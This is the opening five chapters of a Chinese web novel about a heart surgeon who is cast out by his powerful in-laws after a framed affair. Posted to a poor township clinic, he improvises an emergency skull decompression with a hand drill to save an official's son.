《仕途医心》
第1章 结婚纪念日的“惊喜”!
江城市初秋,晚风微凉。
“蔚蓝海岸”西餐厅,靠窗的雅座,叶凡整理了一下自己身上略显局促的西装。
这身行头是他五年前结婚时穿的,款式早已过时,但被他熨烫得一丝不苟。
桌上烛光摇曳,映着那瓶82年的拉菲,酒液醇厚。
对面的位置空着,餐巾却已叠成一只优雅的天鹅。
今天是他们结婚五周年的纪念日。
叶凡是江城市第三人民医院心外科公认的一把刀,三十出头的年纪,主治医生的位置坐得稳稳当当,主刀过数台高难度的心脏手术。
可在手术台下,他却木讷得像个刚毕业的学生。
他知道妻子柳如烟喜欢浪漫,所以提前一个月预订了这家她最爱的餐厅,甚至破天荒地花掉半个月工资,托人买了她念叨许久的限量款香奈儿包包。
礼物就藏在桌下,准备给她一个惊喜。
柳如烟,江城电视台的当家花旦,人如其名,美得不可方物。
她的父亲柳传明,更是市宣传部的副部长。
家世显赫,本人又光彩照人。
当初她不顾家人反对,执意嫁给出身平平的叶凡,一度**城圈子传为“嫁给爱情”的美谈。
叶凡也曾以为是这样。
可婚后生活的柴米油盐,很快将这份“爱情”磨得露出了现实的底色。
岳父柳传明不止一次地“点拨”他,劝他别在手术台上死耗着,路子要走宽,去医药公司挂个职,也比当个穷医生有“钱途”。
叶凡嘴上不说,心里却有自己的坚持。
那份在手术台上与死神赛跑的成就感,是任何权力和金钱都换不来的。
渐渐地,柳如烟的抱怨越来越多。
“叶凡,你能不能有点上进心?”
“我爸为你铺了多少路,你自己倒是往前走一步啊!”
这些话,像一根根针,扎在他心上。他想解释,却无从说起。
他所有的精力都扑在那一台台性命攸关的手术上,他以为,救死扶伤,就是最大的上进心。
“吱呀——”
包厢的门被推开。
叶凡脸上立刻堆起练习许久的笑容,正准备起身,进来的却不止柳如烟一人。
走在最前面的是他的岳父柳传明,背头梳得一丝不苟,金丝眼镜后的眼神锐利。
紧跟着的是柳如烟的大哥柳志鹏,一身潮牌,嘴角挂着玩世不恭的讥笑。
柳如烟走在最后。
她穿着一身迪奥的职业套裙,妆容精致,可那张美丽的脸上,却冷若冰霜。
她看都没看叶凡一眼,径直在椅子上坐下,目光落在跳跃的烛火上,仿佛那比自己的丈夫更有吸引力。
包厢里的空气,仿佛瞬间被抽干了。
“爸,大哥,你们怎么来了?”叶凡脸上的笑意一点点凝固。
柳传明看都懒得看他一眼,目光在包厢里巡视,最后落在那瓶82年的拉菲上,嗤笑一声。
“叶凡,五年了,你还是这么幼稚。以为靠一顿饭,一瓶酒,就能**?”
柳志鹏更直接,他一屁股坐下,翘起二郎腿,指着桌上的菜肴,夸张地叫道:“哟,还挺下本钱啊?怎么,又拿了哪个病人家属的红包?”
叶凡的脸色沉了下去:“柳志鹏,你嘴巴放干净点!”
“怎么?敢做不敢当?”柳志鹏从手包里甩出一叠照片,天女散花般扔在桌上,几张照片甚至飘进了菜盘里,沾上了油腻的酱汁。
照片上,是叶凡和一个年轻女人的身影。
在医院走廊,他正搀扶着那个哭得梨花带雨的女人。
角度抓得极其刁钻,看上去就像一对拥抱的亲密恋人。
“看看!这就是我们江城三院德艺双馨的叶医生!”柳志鹏的声音充满了煽动性,“背着我妹妹,在外面跟病人家属搞七捻三!真给我们柳家丢人!”
叶凡瞳孔猛地一缩。
他认得那个女人,是他主刀的一个心脏病患儿的母亲。
那天孩子术后突发感染,情况危急,这位单亲妈妈情绪崩溃晕倒,他出于本能扶了一把,仅此而已。
他望向柳如烟,急切地解释:“如烟,你听我说,事情不是那样的!她是患者家属,当时她……”
“够了!”
柳如烟终于开口,声音不大,却像冰锥刺进叶凡的心脏。
她没有看那些照片,甚至没给他解释的机会。
“叶凡,我累了,真的累了。”
她的声音里是深不见底的疲惫和失望。
叶凡的心,一点点沉入谷底。
他知道,柳如烟不是信了这拙劣的栽赃,而是这几张照片,成了压垮他们婚姻的最后一根稻草。
她累的,是他的“不争气”,是他的“扶不上墙”。
柳传明冷眼旁观,直到此刻才慢悠悠地开口,一锤定音:“叶凡
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,你太让我失望了。我柳传明的女儿,不能嫁给一个毫无前途,还品行不端的废物。”
“废物”两个字,像烧红的烙铁,狠狠烫在叶凡的尊严上。
他拳头攥得死死的,指甲深陷入掌心,却感觉不到一丝疼痛。
柳传明从公文包里拿出一份文件,推到叶凡面前。
上面是五个醒目的大字:离婚协议书。
“签了吧。”柳传明的声音不带一丝感情,“房子、车子,都是我们柳家买的,跟你没关系。看在夫妻一场的份上,你那张工资卡里的十几万,我们不要了,算是给你的补偿。”
这哪里是离婚协议,分明是一纸驱逐令。
柳志鹏在一旁添油加醋:“妹夫……哦不,前妹夫,我爸这是可怜你呢。你要是识相点,赶紧签了,别耽误我妹的青春。外面排队追我妹的,能从市政府排到电视台门口!”
每一句话,都是一记响亮的耳光。
叶凡抬起头,布满血丝的双眼望向柳如烟,搜寻着,哪怕是一丝一毫的动容。
然而,没有。
她只是静静地坐着,美丽的侧脸在烛光下显得格外冷漠。
她甚至端起那杯为她准备的红酒,轻轻晃动着,仿佛在欣赏一场与自己无关的闹剧。
那一刻,叶凡心中最后一点温情,彻底熄灭了。
五年婚姻,一场笑话。
他拿起桌上的笔,笔尖因为用力,几乎要划破纸张。
他直接翻到最后一页,龙飞凤舞地签下了自己的名字。
叶凡。
写完,他将笔重重地拍在桌上,发出“啪”的一声脆响。
他站起身,扯开西装的领扣,仿佛挣脱了某种无形的束缚。
他看了一眼桌上那份沾着些许油污的离婚协议,又看了一眼对面那三个表情各异的柳家人,最后,目光落定在那个他曾深爱过的女人。
他忽然笑了,笑得有些凄凉,也有些解脱。
“如你所愿。”
他没再多说一个字,转身就走。
经过桌下时,脚尖碰到了那个装着香奈儿包包的纸袋,他顿也未顿,径直跨了过去。
走出餐厅大门,秋风扑面而来,刺骨的寒意。
叶凡仰起头,看着江城璀璨的夜空,只觉得无比讽刺。
身后,是温暖明亮的西餐厅,是他的过去。
身前,是漆黑无尽的马路,是他的未来。
一片茫然。
第2章 逃离与选择!
回到江城三院的单身宿舍,叶凡像一具被抽掉灵魂的躯壳,重重地摔在吱呀作响的铁架床上。
这里是他刚来医院时住的地方,狭小,潮湿,墙皮剥落。
结婚后,他搬进了柳家为他们准备的江景豪宅,这间宿舍便一直空着。
没想到,兜兜转转,他又回到了这个原点。
空气中弥漫着一股尘封的霉味,和他此刻的心情一模一样。
他从床底下摸出两瓶二锅头,这是以前夜班手术后,为了放松神经留下的。
拧开瓶盖,他仰头就灌,辛辣的液体像一条火线,从喉咙一直烧到胃里。
酒精麻痹了身体的疲惫,却让脑海中的画面愈发清晰。
柳如烟初见时的惊艳,婚礼上的誓言,岳父柳传明“语重心长”的教诲,大舅子柳志鹏的冷嘲热讽,以及最后那张冰冷的离婚协议书……一幕幕,如走马灯般在眼前旋转。
他想不通,自己究竟错在了哪里?
他兢兢业业,凭技术吃饭,救活了那么多人,却被骂作“废物”。
他洁身自好,却被扣上“出轨”的帽子,百口莫辩。
难道在这个世界上,权力和关系,真的比事实和能力更重要?
“砰!”
叶凡一拳砸在墙上,斑驳的墙皮簌簌落下。
手背传来钻心的疼痛,他却恍若未觉,只是大口地喘着粗气,胸口那股郁结之气仿佛要将他撕裂。
他拿起另一瓶酒,继续猛灌。
不知过了多久,宿舍的门被敲响了。
“叶医生,您在吗?”是科室主任老张的声音。
叶凡没应声,他现在不想见任何人。
老张在外面等了一会儿,叹了口气,从门缝里塞进来一张纸,说道:“小叶,我知道你心情不好。柳家的事,院里都传遍了。你还年轻,别想不开。这是院里最新的通知,有个去偏远乡镇卫生院的帮扶名额,为期一年。我知道你心气高,肯定看不上,但……就当是出去散散心吧。你要是想去,明天上班前来找我。”
说完,老张的脚步声渐渐远去。
叶凡晃晃悠悠地走过去,捡起地上的那张纸。
“关于选派优秀医疗骨干赴青川县青山镇卫生院进行对口帮扶的通知”。
青川县,江城市最偏远、最贫困的一个县。
青山镇,则是青川县里最偏远、最落后的一个镇。
这地方,对于三甲医院的医生来说,无异于“流放之地”。
没有先进的设备,没有学习的机会,去了就是混日子,一年回来,业务手生了,位置也可能被别人顶了,是所有人都避之不及的去处。
可此刻,这几个字在叶凡眼中,却像是黑夜里的一道光。
逃离。
他现在只想逃离这座让他窒息的城市,逃离所有认识他、同情他、嘲笑他的人。
柳传明不是说他烂泥扶不上墙吗?
柳如烟不是觉得他没有上进心吗?
那就去一个最烂的地方,彻底“躺平”好了。
他拿起手机,屏幕上还是他和柳如烟的合照,照片里的两人笑得那么甜蜜。
他面无表情地长按,删除,然后换上了一张纯黑色的壁纸。
第二天一早,叶凡顶着两个硕大的黑眼圈,出现在科室主任老张的办公室。
老张看到他,吓了一跳:“小叶,你这是……一晚上没睡?”
“张主任,我去。”叶凡的声音沙哑,但异常坚定。
老张愣住了,他本以为叶凡绝不会同意,昨晚那么说,不过是想给他一个台阶下。
“你……你想清楚了?那可是青山镇,条件非常艰苦的。”
“想清楚了。”叶凡说,“正好换个环
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境。”
看着叶凡眼中那份近乎死寂的平静,老张没再劝。
他知道,这头科室里最骄傲的雄狮,心已经被伤透了。
他拍了拍叶凡的肩膀,叹了口气:“行吧,我这就去给你办手续。东西收拾一下,后天就得出发。”
叶凡要去青山镇的消息,像一阵风,迅速传遍了整个医院。
有人惋惜:“叶医生技术那么好,去那种地方不是耽误了吗?”
有人幸灾乐祸:“呵呵,得罪了柳家,还想在江城混?这是被发配了呗!”
更有人当着他的面,阴阳怪气地说:“叶医生真是高风亮节,主动支援贫困地区,值得我们学习啊!”
叶凡对这一切都充耳不闻。
他默默地收拾好自己本就不多的行李,一个行李箱,一个双肩包,就是他全部的家当。
出发那天,天阴沉沉的,像是要下雨。
医院派了一辆车送他去长途汽车站。
临上车前,只有科主任老张和几个关系还不错的同事来送他。
“小叶,到了那边,照顾好自己。有什么困难,随时给我打电话。”老张往他手里塞了一个厚厚的信封,“这是科室凑的,不多,拿着路上用。”
叶凡没有推辞,他郑重地对老张鞠了一躬:“谢谢主任。”
长途大巴在高速上行驶,窗外,江城的高楼大厦渐渐远去,被连绵的丘陵和农田取代。
车里混杂着各种气味,身边的乘客大声地打着电话,说着他听不懂的方言。
叶凡戴上耳机,将音乐声调到最大,靠在椅背上闭上了眼睛。
他不是去支援,也不是去散心。
他是在流放自己。
当大巴车拐下高速,驶入坑坑洼洼的县道时,
叶凡知道,他人生中最繁华、最荣耀的一页,已经彻底翻过去了
第3章 烂泥塘里的第一根刺!
经过七个多小时的颠簸,大巴车终于停在了青山镇唯一的“客运站”——一个露天的水泥坪。
叶凡拖着行李箱下车,一股夹杂着牲畜粪便和泥土腥气的热浪扑面而来。
放眼望去,镇子不大,一条主街贯穿东西,两旁是低矮破旧的二层小楼,墙壁上刷着各种“化肥农药”、“无痛人流”的广告,字迹已经斑驳褪色。
这就是青山镇。
比他想象中,还要破败。
按照地址,他找到了位于镇子最东头的青山镇卫生院。
那是一栋三层的白楼,外墙的水泥已经大片脱落,露出里面的红砖,像一块块丑陋的伤疤。
院子里杂草丛生,一个生了锈的篮球架孤零零地立在那里,篮网早已不见踪影。
“江城三院来的专家?哎哟,可算把您盼来了!”卫生院的院长李德海热情地迎了出来。
他是个五十多岁的胖子,头发稀疏,笑起来眼睛眯成一条缝,身上的白大褂洗得发黄。
李德海领着叶凡在卫生院里转了一圈。
所谓的“科室”,不过是几间屋子挂上不同的牌子。
检验科只有一台半自动的生化分析仪,放射科的X光机还是几十年前的老古董,至于心外科最依赖的CT、MRI,这里连影子都看不到。
“条件是简陋了点,但五脏俱全!叶医生您是见过大世面的,多担待。”李德海搓着手,笑得有些谄媚。
叶凡没什么表情,只是点了点头。
哀莫大于心死,再差的环境,对他而言也无所谓了。
李德海给他安排的宿舍就在住院部三楼,一个闲置的病房改造的。
刚把行李放下,楼下忽然传来一阵喧哗吵闹声。
“都给老子滚开!李德海呢?让他滚出来见我!”一个粗野的男声吼道。
紧接着是桌椅被踹翻的声音,女护士的尖叫声,整个卫生院像是被投进了一颗**。
李德海的脸色瞬间变了,他对叶凡挤出一个比哭还难看的笑容:“叶医生,您先休息,我……我下去处理点小事。”
叶凡从窗户往下看,只见一楼大厅里,一个身高体壮的光头大汉正大发雷霆。
他赤着上身,露出满是纹身的脊背,手里拎着一个空酒瓶,指着几个瑟瑟发抖的医生护士破口大骂。
地上,药瓶碎了一地。
几个病人吓得躲在角落,没人敢上前。
“是镇上的王二麻子,又来**了。”一个年轻的护士小声对身边的同事说。
“他老婆不是前天刚出院吗?今天怎么又来了?”
“谁知道呢,八成是又喝多了,来讹钱的。”
叶凡听着他们的议论,大概明白了情况。
这种地方恶霸,每个小镇似乎都有一个。
楼下,李德海已经跑了下去,点头哈腰地对王二麻子说:“王大哥,王大哥,消消气,有话好好说。您看,这又砸又骂的,把病人都吓着了。”
“好好说?”王二麻子一口浓痰吐在李德海脚边,“我老婆在你们这破医院住了三天,花了我一千多块,回家还是肚子疼!你们**是不是用的假药?”
“绝对不可能!”李德海连忙摆手,“嫂子的病是慢性胆囊炎,这个病就是容易反复发作,得注意饮食,不能喝酒……”
“我管你什么蛋黄炎!我只知道我花了钱,病没好!今天你们要是不给老子一个说法,我就把你们这破医院给拆了!”王二麻子说着,抡起酒瓶就要往药柜上砸。
就在这千钧一发之际,一个清冷的声音从二楼楼梯口传来。
“你不用拆,再过半年,你自己就先‘拆’了。”
众人循声望去,只见一个穿着白衬衫、身材挺拔的年轻人正缓缓走下楼梯。
他面容英俊,但眼神淡漠,仿佛眼前这场闹剧与他无关。
正是叶凡。
所有人都愣住了,包括嚣张的王二麻子。
他眯着眼打量着这个陌生面孔:“**谁啊?敢咒老子?”
李德海吓得魂飞魄散,赶紧跑过去拉叶凡的衣袖:“叶医生,叶医生!您别掺和,这人是个浑不吝!”
叶凡没理他,只是盯着王二麻子的脸,准确地说是他的眼睛。
他的目光像一把锋利的手术刀,仿佛要穿透皮肉,看到内里的组织结构。
“你最近是不是经常感觉口干、多饮、多尿,体重莫名其妙下降,而且看东西越来越模糊?”叶凡的语气平静得像在宣读一份病历。
王二麻子脸上的凶横瞬间凝固了,取而代之的是一丝惊愕。
因为叶凡说的,竟然分毫不差!
这些症状他早就有了,只是以为是酒喝多了,没当回事。
“你怎么知道?”他下意识地问道。
叶凡的嘴角勾起一抹微不可查的弧度,带着
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点职业性的冷酷。
“你的巩膜(眼白)严重黄染,不是简单的酒精性肝损伤,而是肝硬化伴随胆红素代谢异常的典型体征。你眼角有明显的黄色瘤,这是高血脂的信号。再加上我刚才描述的那些症状……”
他顿了顿,像一个宣判者,吐出了最后的结论:
“是典型的糖尿病并发症,已经引起了肝功能和视网膜的病变。我说的‘拆’,是指你的身体。再不控制血糖,不戒酒,半年内,你很可能会因为肝功能衰竭或者糖尿病足导致截肢而躺上手术台。当然,更有可能,你连上手术台的机会都没有,直接就因为酮症酸**昏迷,一睡不醒。”
一番话,没有一个脏字,却比任何咒骂都恶毒,都令人恐惧。
整个大厅鸦雀无声,落针可闻。
所有人都被叶凡这番专业的“恐吓”给镇住了。
他们只知道王二麻子是恶霸,却不知道这个恶霸已经病入膏肓。
王二麻子脸上的血色“唰”地一下全退了,手里的酒瓶“咣当”一声掉在地上。
他不是不怕死,恰恰相反,越是横行霸道的人,内心越是惜命。
“你……你别他妈吓唬我!我身体好得很!”他嘴上还硬撑着,但颤抖的声音已经出卖了他内心的恐惧。
“信不信由你。”叶凡的语气依旧淡漠,“去县医院查个空腹血糖和肝功能就知道了。不过我建议你快点,你的视网膜病变已经很严重,再拖下去,神仙也救不了你的眼睛。”
说完,他不再看王二麻子一眼,转身对目瞪口呆的李德海说:“院长,我的宿舍在哪?我想休息了。”
李德海如梦初醒,他明白这是叶凡在为自己解围,连忙点头:“啊?哦哦,在三楼,三楼,我带您去!”
看着叶凡和李德海上了楼,王二麻子在原地站了好几分钟,脸上一阵红一阵白。
最终,他像是被抽干了所有力气,一屁股瘫坐在地上,眼神里充满了惊恐和茫然。
一场危机,就这么被几句轻描淡写的话化解了。
一楼大厅里,所有的医生护士都用一种全新的、混杂着敬畏和好奇的目光,望向那个消失在楼梯口的背影。
他们原以为从江城来的只是一个被发配的、心高气傲的“镀金”医生。
现在看来,这潭死水般的烂泥塘里,似乎被丢进来一根又硬又尖的刺。
第4章 不速之客与深夜惊雷!
王二麻子失魂落魄地走了,是被两个闻讯赶来的家属架走的,嘴里还不停念叨着“肝硬化”、“瞎了”、“截肢”之类的词。
一场闹剧虎头蛇尾地收场,却在青山镇卫生院这潭死水里投下了一块巨石。
整个下午,卫生院的医生护士们看叶凡的眼神都变了。
从最初的“被发配的倒霉蛋”,变成了“深不可测的高人”。
他们交头接耳,窃窃私语,将那短短几分钟的交锋添油加醋,演绎出十几个版本。
有的说叶凡会摸骨算命,有的说他眼睛是X光,能看穿五脏六腑。
最兴奋的莫过于那个叫小赵的年轻护士,她端着一杯泡得酽酽的茶,借着汇报工作的名义,第三次溜进了叶凡的临时办公室。
“叶医生,您喝水。您真是太神了!就那么扫一眼,就把王二麻子吓得腿都软了!您不知道,他平时有多横,上个月还把防疫站的门给踹了呢!”小赵的眼睛里闪烁着崇拜的光芒,像个追星的小粉丝。
叶凡正对着一本发黄的《农村常见病防治手册》发呆,这本比他年纪还大的书,几乎是卫生院唯一的“学术资料”。
他接过茶杯,抿了一口,茶叶粗劣,带着一股烟火燎过的苦涩。
“我没吓唬他,只是根据临床体征做出的初步诊断。”他平淡地解释,仿佛在说一件微不足道的小事。
对他而言,这确实不算什么。
在三院,他每天面对的都是最复杂的病例,通过最细微的体征变化判断病人心肺功能的临界点,是刻在骨子里的本能。
王二麻子那教科书般的症状,对他来说就像一道一加一等于二的算术题。
可这番解释,在小赵听来,更增添了高深莫测的色彩。
“临床体征”这四个字,从叶凡嘴里说出来,仿佛蕴含着某种神秘的魔力。
院长李德海的态度更是来了一百八十度的大转弯。
他亲自搬来一盆半死不活的绿萝,摆在叶凡桌上,又让后勤把吱呀作响的床换成了一张结实的木板床。
嘘寒问暖,无微不至,那股子热情劲儿,让叶凡有些招架不住。
“叶医生,您有什么需要尽管提!别看我们庙小,一定尽力满足!”李德海搓着手,笑得满脸褶子。
他心里的小算盘打得噼啪响,这尊大佛虽然是被贬下来的,但本事是真的硬。
有他在,卫生院以后在镇上腰杆子也能挺直些。
叶凡对此不置可否。
他只想安安静静地待着,让时间冲刷掉江城带来的一切。
所谓的威望,所谓的刮目相看,他早已不在乎。
就在这看似平静的氛围中,一个不速之客的到来,打破了卫生院暂时的宁静。
第二天上午,一辆黑色的桑塔纳2000停在了卫生院门口,车身上沾满了黄泥,但擦得锃亮。
车门打开,一个地中海发型、挺着啤酒肚的中年男人在司机的搀扶下走了下来。
他穿着一件领口发黄的白衬衫,外面套着一件不合身的夹克,腋下夹着一个黑色公文包。
“马镇长!”李德海眼尖,一溜小跑迎了上去,脸上堆满了恭敬的笑容。
来人是青山镇的副镇长马卫国,分管文教卫生。
他没理会李德海的殷勤,背着手,官气十足地走进了大厅,目光在四周扫了一圈,眉头微微皱起。
“德海啊,卫生院就是镇里的脸面,要注意环境卫生嘛。你看这墙角的蜘蛛网,还有这宣传栏,海报都卷边了,像什么样子?”马卫国用指点江山的口吻说道。
“是是是,马镇长批评得是,我们马上整改!”李德海连连点头。
马卫国的目光最终落在了正从诊室里走出来的叶凡身上。
他上下打量了叶凡一番,眼神里带着几分审视和不易察觉的轻视。
“这位就是市里来的专家吧?”
“对对,这就是叶凡,叶医生。叶医生,这位是分管我们的马镇长。”李德海赶紧介绍。
叶凡点了下头,算是打过招呼。
马卫国似乎对叶凡这不冷不热的态度有些不满,他清了清嗓子,摆出领导的架子:“叶医生,欢迎你来支援我们青山镇的医疗事业。不过呢,我们基层工作有基层的复杂性,跟你们大医院不一样。这里不光要讲技术,更要讲方式方法,要多和群众打成一片,不要搞个人英雄主义嘛。”
这话意有所指,显然是王二麻子的事已经传到了他耳朵里。
叶凡听出了话里的敲打之意,但他连眼皮都懒得抬一下。
跟这种只懂权术、不懂业务的官僚多说一个字,他都觉得是浪费生命。
见叶凡不搭腔,马卫国觉得自讨了个没趣,面子上有些挂不住。
他哼了一声,又背着手训了李德海几句“要加强管理,杜绝医疗**”之类的官话,才在司机的簇拥下,慢悠悠地上了车。
看着桑塔纳扬长而去,李德海擦了擦额头的汗,对叶凡小声说:“叶医生,马镇长这人……就喜欢讲规矩,您别往心里去。”
叶凡不置可否。
他早已心如古井,一个副镇长的敲打,连一丝涟漪都激不起来。
他以为日子就会这样波澜不惊地过去,直到他被贬到这里的价值,被一场突如其来的灾难彻底榨干。
那天深夜,暴雨如注。
豆大的雨点疯狂地砸在铁皮屋顶上,发出震耳欲聋的声响,仿佛要将整个世界撕裂。
“轰隆隆!”
一道惨白的闪电划破夜空,紧接着,一声惊雷在头顶炸开。
叶凡被惊醒,他看了一眼手机,凌晨两点。
就在这时,宿舍的门被擂得山响。
“叶医生!叶医生!出大事了!”是李德海惊慌失措的声音,隔着门板和雨声,都显得格外尖利。
叶凡心里一沉,立刻翻身下床,打开了门。
门口的李德海浑身湿透,像刚从水里捞出来一样,脸上分不清是雨水还是汗水,嘴唇哆嗦着,话都说不利索:“出……出车祸了!就在镇口那个急转弯,一辆小轿车和一辆拉石子的大货车撞了!伤员……伤员刚送来,血肉模糊的,不行了,快不行了!”
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叶凡的神经瞬间绷紧,所有慵懒和颓废一扫而空。
作为一名外科医生,他比任何人都清楚“车祸”和“血肉模糊”意味着什么。
“几名伤员?主要伤情是什么?”他一边迅速套上白大褂,一边冷静地问道。
“就……就一个!是个年轻人,二十多岁,开小轿车的。头……头撞破了,还在流血,人已经昏迷了!另外两个货车司机没事,自己爬出来了。”
“通知县医院了吗?”
“打了!打了!可这鬼天气,路都快淹了,他们说救护车过来最快也要一个半小时!”李德海快要哭出来了,“一个半小时,黄花菜都凉了!”
叶凡不再多问,快步冲下楼。
一楼的急诊室里,已经乱成了一锅粥。
一个年轻人浑身是血地躺在简陋的担架床上,白色的床单被染得通红。
他的头部有一道狰狞的伤口,鲜血还在不断地从临时包扎的纱布里渗出,混合着泥水,触目惊心。
他的呼吸微弱,脸色惨白如纸。
几个医生护士围在旁边,束手无策。
有的在量血压,有的在尝试输液,但因为失血过多,静脉已经塌陷,根本扎不进去。
“血压测不到!”
“心率只有40了!”
“瞳孔不等大,左边已经散了!是颅内出血!”
绝望的气氛笼罩着整个房间。
叶凡拨开人群,快步走到担架床边。
他只扫了一眼伤者的瞳孔,又用手电照了照,心就沉到了谷底。
典型的急性硬膜外血肿,颅内压急剧升高,已经形成了脑疝。
这是神经外科里最凶险的情况,死亡率极高,每一分每一秒都是在和死神赛跑。
“准备开颅减压。”叶凡的声音不大,但在嘈杂的急诊室里,却像一道命令,清晰地传到每个人耳朵里。
所有人都愣住了,包括李德海。
“开……开颅?”李德海结结巴巴地问,他怀疑自己听错了,“叶医生,您不是开玩笑吧?咱们这……这连个像样的手术室都没有,更别提开颅的设备了!这要是出了事,咱们卫生院担不起这个责任啊!”
“现在开,他有百分之十的希望能活。等县医院的车来,他活着的希望是零。”叶凡的目光锐利如刀,扫过在场的每一个人,“你们选。”
就在这时,一个哆哆嗦嗦的声音从角落里传来。
“那……那个……李院长,我刚才听那两个货车司机说,这个年轻人……好像是……是钱**家的公子……”
“哪个钱**?”李德海下意识地问。
“咱们镇……还能有哪个钱**?”
轰!
李德海只觉得脑子里一声巨响,两腿一软,差点瘫倒在地。
青山镇党委**,钱国栋!
那可是青山镇真正的“天”!而且,谁不知道,钱**就这么一个独生子,从小宝贝得跟眼珠子似的。
如果钱**的儿子死在了卫生院……
李德海不敢再想下去,他只觉得眼前一黑,天旋地转。
第5章 陋室里的刀尖之舞!
“疯了!你一定是疯了!”
李德海的尖叫声在简陋的走廊里回荡,带着哭腔和破音。
他死死拽住叶凡的白大褂,肥胖的身体因为恐惧而剧烈颤抖。
“叶医生,算我求你了!这是钱**的儿子!金疙瘩!万一……万一有个三长两短,别说我们卫生院,整个镇子都要抖三抖!我们等,我们必须等县医院来!就算人死在路上,那责任也在路上,不在我们头上啊!”
李德海这番话,说出了所有在场医护人员的心声。
他们怕的不是手术,而是责任。
在基层,不求有功,但求无过,是刻在骨子里的生存法则。
叶凡冷冷地甩开他的手,眼神里没有一丝波澜,只有属于外科医生的绝对冷静。
“医生眼里,只有病人,没有**的儿子。”他指着急诊室里那个生命体征正在飞速流逝的年轻人,一字一顿地说道:“他的颅内压已经爆表,脑组织正在被挤压变形,最多还有二十分钟的抢救时间。你是想让他死在规矩里,还是活在我的手术台上?”
这番话像一盆冰水,兜头浇在李德海的头上。
他张了张嘴,却一个字也说不出来。
叶凡不再理他,转身对着已经吓傻的护士小赵和另外一名男医生命令道:“立刻清理一间病房当临时手术室,用酒精和碘伏把墙壁地面全部消毒三遍!把所有能用的外科器械,手术刀、止血钳、吸引器,全部拿出来高温高压消毒!快!”
强大的气场和不容置疑的语气,让众人下意识地行动起来。
他们仿佛回到了医学院宣誓的那个下午,救死扶伤的本能压倒了对权力的恐惧。
“可是……我们没有开颅钻啊!”男医生突然想到了最关键的问题。
开颅手术必须用专用的高速气动钻或者电钻打开颅骨,这是常识。
叶凡的目光在急诊室里飞快地扫视,最后,他的视线定格在墙角一个布满灰尘的柜子上。
那是牙科的柜子,早就废弃了。
“把牙科那个拔智齿用的涡轮机找出来!还有骨科的克氏针!”叶凡迅速说道,“再去找个五金店的手摇钻,用酒精浸泡消毒!”
所有人都惊呆了。
用拔牙的钻头和手摇钻开颅?
这是天方夜谭!
“别愣着!快去!”叶凡吼了一声。
众人如梦初醒,乱哄哄地分头行动。
小赵带着人去准备手术室,李德海连滚带爬地去翻箱倒柜找器械,男医生则冒着暴雨冲出去敲五金店老板的家门。
就在卫生院里灯火通明,一片忙乱之际,一辆黑色的桑塔纳冒着雨,再一次“嘎吱”一声停在了门口。
副镇长马卫国打着一把伞,铁青着脸冲了进来。
他是被镇政府值班的电话叫醒的,一听说钱**的儿子出了车祸,正在镇卫生院抢救,魂都快吓飞了,第一时间就赶了过来。
他冲进来的第一眼,就看到了正在被人往临时手术室里推的伤员和旁边那个一脸冷峻、指挥若定的叶凡。
“住手!都给我住手!”马卫国厉声喝道,“谁给你们的权力在这里乱搞?出了事谁负责?”
他几步冲到叶凡面前,指着他的鼻子质问:“你!那个市里来的!你想干什么?你想害死我们所有人吗?我命令你,立刻停止一切行为,原地等待县医院救援!这是命令!”
马卫国此刻的想法和李德海如出一辙,甚至更加强烈。
他作为分管领导,一旦出了事,第一个就要被问责。
把病人按在卫生院不动,是风险最小的选择。
叶凡甚至没正眼看他,他正在用手感受伤者颅骨骨折的边缘,确定最佳的钻孔位置。
“第一,我是在救人,不是在乱搞。第二,这里是医院,我是医生,医疗决策轮不到你一个外行来指手画脚。第三,如果你非要以行政命令的方式,阻止一个医生抢救一个生命垂危的病人,可以,请你写一份书面文件,签字画押,声明一切后果由你承担。”
叶凡抬起头,目光像两把淬了冰的手术刀,直直地刺向马卫国:“你,敢写吗?”
马卫国被这番话噎得满脸通红,一口气堵在胸口,差点没上来。
让他签字画押承担责任?借他十个胆子他也不敢!
“你……你这是什么态度!你这是无组织无纪律!”他只能色厉内荏地咆哮。
“我的纪律,就是救人。”叶凡不再理他,转身对护士说,“剃掉所有头发,准备手术。”
“你……反了你了!”马卫国气得浑身发抖,他掏出手机,就要给县卫生局打电话投诉。
就在这时,冒雨冲出去的男医生提着一个锈迹斑斑的手摇钻跑了回来。
临时手术室里,一切准备就绪。
一盏大功率的白炽灯从天花板上垂下来,充当无影灯。
伤者躺在临时的手术台上,头部已经被剃光,用碘伏消毒成了黄褐色。
叶凡站在手术台前,戴上消毒手套的那一刻,整个人的气质都变了。
他不再是那个心灰意冷的“废物”,而是一个掌控生死的君王。
他周围的一切喧嚣和纷扰,似乎都被一道无形的墙隔绝在外。
门外,马卫国还在咆哮,李德海在绝望地踱步,小赵和其他护士紧张得手心冒汗。
叶凡的眼中,只有伤者头部的那个钻孔点。
没有监护仪,他就让小赵每分钟报一次脉搏和呼吸。
没有电动吸引器,他就让另一个护士用大号注射器连接着导尿管,一点点地抽吸渗出的血液。
最关键的开颅步骤到了。
那台牙科涡轮机的功率太小,根本钻不透成年人的颅骨。
叶凡只是用它在颅骨外板上磨出了一个定位的浅坑。
然后,他拿起了那个看起来像中世纪刑具的手摇钻。
所有人的心都提到了嗓子眼。
叶凡的左手稳稳地扶住伤者的头部,
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右手握住手摇钻,将钻头精准地对准了那个浅坑。
他的手臂、手腕、手指,形成了一个最稳定可靠的支撑结构,纹丝不动。
他开始匀速、缓慢地转动手柄。
“嘎吱……嘎吱……”
金属钻头摩擦骨头的声音,在寂静的房间里显得格外刺耳和恐怖。
小赵甚至吓得闭上了眼睛。
这是一个需要极致力量控制和手感的活。
快一分,可能钻穿硬脑膜,损伤脑组织;慢一分,则会因为摩擦产热过高,灼伤骨骼和周围组织。
叶凡的额头上渗出了细密的汗珠,顺着脸颊滑落,但他浑然不觉。
他的全部心神,都凝聚在了钻头和颅骨接触的那一个点上。
他能清晰地感受到钻头下骨质密度的变化。外板、板障、内板……就像庖丁解牛,骨骼的结构在他脑海中被清晰地分解。
突然,他手上的阻力感猛地一空!
“穿了!”他沉声喝道。
他立刻停止转动,小心翼翼地取出手摇钻。
一个直径约一厘米的规则圆形骨孔,精准地出现在伤者的颅骨上。
一股暗红色的、混杂着脑脊液的血液,立刻从骨孔中喷涌而出!
“减压成功了!”叶……不,是叶神!此刻他就是神!
门外偷看的李德海激动地差点叫出声来。
颅内压释放的瞬间,压力得到了缓解。
“脉搏70!稳定了!”负责监测的小赵惊喜地喊道。
叶凡没有丝毫松懈,他用吸引器吸尽涌出的血肿,然后迅速用骨蜡封住骨孔的出血点,最后用无菌纱布覆盖、加压包扎。
